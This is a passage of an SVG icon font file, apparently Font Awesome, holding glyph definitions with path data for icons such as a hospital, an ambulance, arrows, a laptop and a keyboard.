t45 -19t45 19t19 45v416q0 26 19 45t45 19t45 -19t19 -45zM1408 1472v-1600q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v512h-224q-13 0 -22.5 9.5t-9.5 22.5v800q0 132 94 226t226 94h256q26 0 45 -19t19 -45z" />
    <glyph glyph-name="file_text_alt" unicode="&#xf0f6;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M384 736q0 14 9 23t23 9h704q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64zM1120 512q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704zM1120 256q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704
q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704z" />
    <glyph glyph-name="building" unicode="&#xf0f7;" horiz-adv-x="1408" 
d="M384 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 -128h384v1536h-1152v-1536h384v224q0 13 9.5 22.5t22.5 9.5h320q13 0 22.5 -9.5t9.5 -22.5v-224zM1408 1472v-1664q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h1280q26 0 45 -19t19 -45z" />
    <glyph glyph-name="hospital" unicode="&#xf0f8;" horiz-adv-x="1408" 
d="M384 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 -128h384v1152h-256v-32q0 -40 -28 -68t-68 -28h-448q-40 0 -68 28t-28 68v32h-256v-1152h384v224q0 13 9.5 22.5t22.5 9.5h320q13 0 22.5 -9.5t9.5 -22.5v-224zM896 1056v320q0 13 -9.5 22.5t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-96h-128v96q0 13 -9.5 22.5
t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5v96h128v-96q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1408 1088v-1280q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1280q0 26 19 45t45 19h320
v288q0 40 28 68t68 28h448q40 0 68 -28t28 -68v-288h320q26 0 45 -19t19 -45z" />
    <glyph glyph-name="ambulance" unicode="&#xf0f9;" horiz-adv-x="1920" 
d="M640 128q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM256 640h384v256h-158q-14 -2 -22 -9l-195 -195q-7 -12 -9 -22v-30zM1536 128q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5
t90.5 37.5t37.5 90.5zM1664 800v192q0 14 -9 23t-23 9h-224v224q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-224h-224q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h224v-224q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v224h224q14 0 23 9t9 23zM1920 1344v-1152
q0 -26 -19 -45t-45 -19h-192q0 -106 -75 -181t-181 -75t-181 75t-75 181h-384q0 -106 -75 -181t-181 -75t-181 75t-75 181h-128q-26 0 -45 19t-19 45t19 45t45 19v416q0 26 13 58t32 51l198 198q19 19 51 32t58 13h160v320q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="medkit" unicode="&#xf0fa;" horiz-adv-x="1792" 
d="M1280 416v192q0 14 -9 23t-23 9h-224v224q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-224h-224q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h224v-224q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v224h224q14 0 23 9t9 23zM640 1152h512v128h-512v-128zM256 1152v-1280h-32
q-92 0 -158 66t-66 158v832q0 92 66 158t158 66h32zM1440 1152v-1280h-1088v1280h160v160q0 40 28 68t68 28h576q40 0 68 -28t28 -68v-160h160zM1792 928v-832q0 -92 -66 -158t-158 -66h-32v1280h32q92 0 158 -66t66 -158z" />
    <glyph glyph-name="fighter_jet" unicode="&#xf0fb;" horiz-adv-x="1920" 
d="M1920 576q-1 -32 -288 -96l-352 -32l-224 -64h-64l-293 -352h69q26 0 45 -4.5t19 -11.5t-19 -11.5t-45 -4.5h-96h-160h-64v32h64v416h-160l-192 -224h-96l-32 32v192h32v32h128v8l-192 24v128l192 24v8h-128v32h-32v192l32 32h96l192 -224h160v416h-64v32h64h160h96
q26 0 45 -4.5t19 -11.5t-19 -11.5t-45 -4.5h-69l293 -352h64l224 -64l352 -32q128 -28 200 -52t80 -34z" />
    <glyph glyph-name="beer" unicode="&#xf0fc;" horiz-adv-x="1664" 
d="M640 640v384h-256v-256q0 -53 37.5 -90.5t90.5 -37.5h128zM1664 192v-192h-1152v192l128 192h-128q-159 0 -271.5 112.5t-112.5 271.5v320l-64 64l32 128h480l32 128h960l32 -192l-64 -32v-800z" />
    <glyph glyph-name="h_sign" unicode="&#xf0fd;" 
d="M1280 192v896q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-320h-512v320q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-896q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v320h512v-320q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="f0fe" unicode="&#xf0fe;" 
d="M1280 576v128q0 26 -19 45t-45 19h-320v320q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-320h-320q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h320v-320q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v320h320q26 0 45 19t19 45zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="double_angle_left" unicode="&#xf100;" horiz-adv-x="1024" 
d="M627 160q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23zM1011 160q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23
t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23z" />
    <glyph glyph-name="double_angle_right" unicode="&#xf101;" horiz-adv-x="1024" 
d="M595 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23zM979 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23
l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="double_angle_up" unicode="&#xf102;" horiz-adv-x="1152" 
d="M1075 224q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23zM1075 608q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393
q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="double_angle_down" unicode="&#xf103;" horiz-adv-x="1152" 
d="M1075 672q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23zM1075 1056q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23
t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
    <glyph glyph-name="angle_left" unicode="&#xf104;" horiz-adv-x="640" 
d="M627 992q0 -13 -10 -23l-393 -393l393 -393q10 -10 10 -23t-10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
    <glyph glyph-name="angle_right" unicode="&#xf105;" horiz-adv-x="640" 
d="M595 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="angle_up" unicode="&#xf106;" horiz-adv-x="1152" 
d="M1075 352q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="angle_down" unicode="&#xf107;" horiz-adv-x="1152" 
d="M1075 800q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
    <glyph glyph-name="desktop" unicode="&#xf108;" horiz-adv-x="1920" 
d="M1792 544v832q0 13 -9.5 22.5t-22.5 9.5h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-832q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5zM1920 1376v-1088q0 -66 -47 -113t-113 -47h-544q0 -37 16 -77.5t32 -71t16 -43.5q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19
t-19 45q0 14 16 44t32 70t16 78h-544q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="laptop" unicode="&#xf109;" horiz-adv-x="1920" 
d="M416 256q-66 0 -113 47t-47 113v704q0 66 47 113t113 47h1088q66 0 113 -47t47 -113v-704q0 -66 -47 -113t-113 -47h-1088zM384 1120v-704q0 -13 9.5 -22.5t22.5 -9.5h1088q13 0 22.5 9.5t9.5 22.5v704q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5z
M1760 192h160v-96q0 -40 -47 -68t-113 -28h-1600q-66 0 -113 28t-47 68v96h160h1600zM1040 96q16 0 16 16t-16 16h-160q-16 0 -16 -16t16 -16h160z" />
    <glyph glyph-name="tablet" unicode="&#xf10a;" horiz-adv-x="1152" 
d="M640 128q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1024 288v960q0 13 -9.5 22.5t-22.5 9.5h-832q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h832q13 0 22.5 9.5t9.5 22.5zM1152 1248v-1088q0 -66 -47 -113t-113 -47h-832
q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h832q66 0 113 -47t47 -113z" />
    <glyph glyph-name="mobile_phone" unicode="&#xf10b;" horiz-adv-x="768" 
d="M464 128q0 33 -23.5 56.5t-56.5 23.5t-56.5 -23.5t-23.5 -56.5t23.5 -56.5t56.5 -23.5t56.5 23.5t23.5 56.5zM672 288v704q0 13 -9.5 22.5t-22.5 9.5h-512q-13 0 -22.5 -9.5t-9.5 -22.5v-704q0 -13 9.5 -22.5t22.5 -9.5h512q13 0 22.5 9.5t9.5 22.5zM480 1136
q0 16 -16 16h-160q-16 0 -16 -16t16 -16h160q16 0 16 16zM768 1152v-1024q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v1024q0 52 38 90t90 38h512q52 0 90 -38t38 -90z" />
    <glyph glyph-name="circle_blank" unicode="&#xf10c;" 
d="M768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103
t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="quote_left" unicode="&#xf10d;" horiz-adv-x="1664" 
d="M768 576v-384q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v704q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5h64q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-64q-106 0 -181 -75t-75 -181v-32q0 -40 28 -68t68 -28h224q80 0 136 -56t56 -136z
M1664 576v-384q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v704q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5h64q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-64q-106 0 -181 -75t-75 -181v-32q0 -40 28 -68t68 -28h224q80 0 136 -56t56 -136z" />
    <glyph glyph-name="quote_right" unicode="&#xf10e;" horiz-adv-x="1664" 
d="M768 1216v-704q0 -104 -40.5 -198.5t-109.5 -163.5t-163.5 -109.5t-198.5 -40.5h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64q106 0 181 75t75 181v32q0 40 -28 68t-68 28h-224q-80 0 -136 56t-56 136v384q0 80 56 136t136 56h384q80 0 136 -56t56 -136zM1664 1216
v-704q0 -104 -40.5 -198.5t-109.5 -163.5t-163.5 -109.5t-198.5 -40.5h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64q106 0 181 75t75 181v32q0 40 -28 68t-68 28h-224q-80 0 -136 56t-56 136v384q0 80 56 136t136 56h384q80 0 136 -56t56 -136z" />
    <glyph glyph-name="spinner" unicode="&#xf110;" horiz-adv-x="1792" 
d="M526 142q0 -53 -37.5 -90.5t-90.5 -37.5q-52 0 -90 38t-38 90q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1024 -64q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM320 640q0 -53 -37.5 -90.5t-90.5 -37.5
t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1522 142q0 -52 -38 -90t-90 -38q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM558 1138q0 -66 -47 -113t-113 -47t-113 47t-47 113t47 113t113 47t113 -47t47 -113z
M1728 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1088 1344q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1618 1138q0 -93 -66 -158.5t-158 -65.5q-93 0 -158.5 65.5t-65.5 158.5
q0 92 65.5 158t158.5 66q92 0 158 -66t66 -158z" />
    <glyph glyph-name="circle" unicode="&#xf111;" 
d="M1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="reply" unicode="&#xf112;" horiz-adv-x="1792" 
d="M1792 416q0 -166 -127 -451q-3 -7 -10.5 -24t-13.5 -30t-13 -22q-12 -17 -28 -17q-15 0 -23.5 10t-8.5 25q0 9 2.5 26.5t2.5 23.5q5 68 5 123q0 101 -17.5 181t-48.5 138.5t-80 101t-105.5 69.5t-133 42.5t-154 21.5t-175.5 6h-224v-256q0 -26 -19 -45t-45 -19t-45 19
l-512 512q-19 19 -19 45t19 45l512 512q19 19 45 19t45 -19t19 -45v-256h224q713 0 875 -403q53 -134 53 -333z" />
    <glyph glyph-name="github_alt" unicode="&#xf113;" horiz-adv-x="1664" 
d="M640 320q0 -40 -12.5 -82t-43 -76t-72.5 -34t-72.5 34t-43 76t-12.5 82t12.5 82t43 76t72.5 34t72.5 -34t43 -76t12.5 -82zM1280 320q0 -40 -12.5 -82t-43 -76t-72.5 -34t-72.5 34t-43 76t-12.5 82t12.5 82t43 76t72.5 34t72.5 -34t43 -76t12.5 -82zM1440 320
q0 120 -69 204t-187 84q-41 0 -195 -21q-71 -11 -157 -11t-157 11q-152 21 -195 21q-118 0 -187 -84t-69 -204q0 -88 32 -153.5t81 -103t122 -60t140 -29.5t149 -7h168q82 0 149 7t140 29.5t122 60t81 103t32 153.5zM1664 496q0 -207 -61 -331q-38 -77 -105.5 -133t-141 -86
t-170 -47.5t-171.5 -22t-167 -4.5q-78 0 -142 3t-147.5 12.5t-152.5 30t-137 51.5t-121 81t-86 115q-62 123 -62 331q0 237 136 396q-27 82 -27 170q0 116 51 218q108 0 190 -39.5t189 -123.5q147 35 309 35q148 0 280 -32q105 82 187 121t189 39q51 -102 51 -218
q0 -87 -27 -168q136 -160 136 -398z" />
    <glyph glyph-name="folder_close_alt" unicode="&#xf114;" horiz-adv-x="1664" 
d="M1536 224v704q0 40 -28 68t-68 28h-704q-40 0 -68 28t-28 68v64q0 40 -28 68t-68 28h-320q-40 0 -68 -28t-28 -68v-960q0 -40 28 -68t68 -28h1216q40 0 68 28t28 68zM1664 928v-704q0 -92 -66 -158t-158 -66h-1216q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320
q92 0 158 -66t66 -158v-32h672q92 0 158 -66t66 -158z" />
    <glyph glyph-name="folder_open_alt" unicode="&#xf115;" horiz-adv-x="1920" 
d="M1781 605q0 35 -53 35h-1088q-40 0 -85.5 -21.5t-71.5 -52.5l-294 -363q-18 -24 -18 -40q0 -35 53 -35h1088q40 0 86 22t71 53l294 363q18 22 18 39zM640 768h768v160q0 40 -28 68t-68 28h-576q-40 0 -68 28t-28 68v64q0 40 -28 68t-68 28h-320q-40 0 -68 -28t-28 -68
v-853l256 315q44 53 116 87.5t140 34.5zM1909 605q0 -62 -46 -120l-295 -363q-43 -53 -116 -87.5t-140 -34.5h-1088q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h544q92 0 158 -66t66 -158v-160h192q54 0 99 -24.5t67 -70.5q15 -32 15 -68z
" />
    <glyph glyph-name="expand_alt" unicode="&#xf116;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="collapse_alt" unicode="&#xf117;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="smile" unicode="&#xf118;" 
d="M1134 461q-37 -121 -138 -195t-228 -74t-228 74t-138 195q-8 25 4 48.5t38 31.5q25 8 48.5 -4t31.5 -38q25 -80 92.5 -129.5t151.5 -49.5t151.5 49.5t92.5 129.5q8 26 32 38t49 4t37 -31.5t4 -48.5zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5
t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="frown" unicode="&#xf119;" 
d="M1134 307q8 -25 -4 -48.5t-37 -31.5t-49 4t-32 38q-25 80 -92.5 129.5t-151.5 49.5t-151.5 -49.5t-92.5 -129.5q-8 -26 -31.5 -38t-48.5 -4q-26 8 -38 31.5t-4 48.5q37 121 138 195t228 74t228 -74t138 -195zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204
t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="meh" unicode="&#xf11a;" 
d="M1152 448q0 -26 -19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h640q26 0 45 -19t19 -45zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="gamepad" unicode="&#xf11b;" horiz-adv-x="1920" 
d="M832 448v128q0 14 -9 23t-23 9h-192v192q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-192h-192q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h192v-192q0 -14 9 -23t23 -9h128q14 0 23 9t9 23v192h192q14 0 23 9t9 23zM1408 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5
t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1920 512q0 -212 -150 -362t-362 -150q-192 0 -338 128h-220q-146 -128 -338 -128q-212 0 -362 150
t-150 362t150 362t362 150h896q212 0 362 -150t150 -362z" />
    <glyph glyph-name="keyboard" unicode="&#xf11c;" horiz-adv-x="1920" 
d="M384 368v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM512 624v-96q0 -16 -16 -16h-224q-16 0 -16 16v96q0 16 16 16h224q16 0 16 -16zM384 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1408 368v-96q0 -16 -16 -16
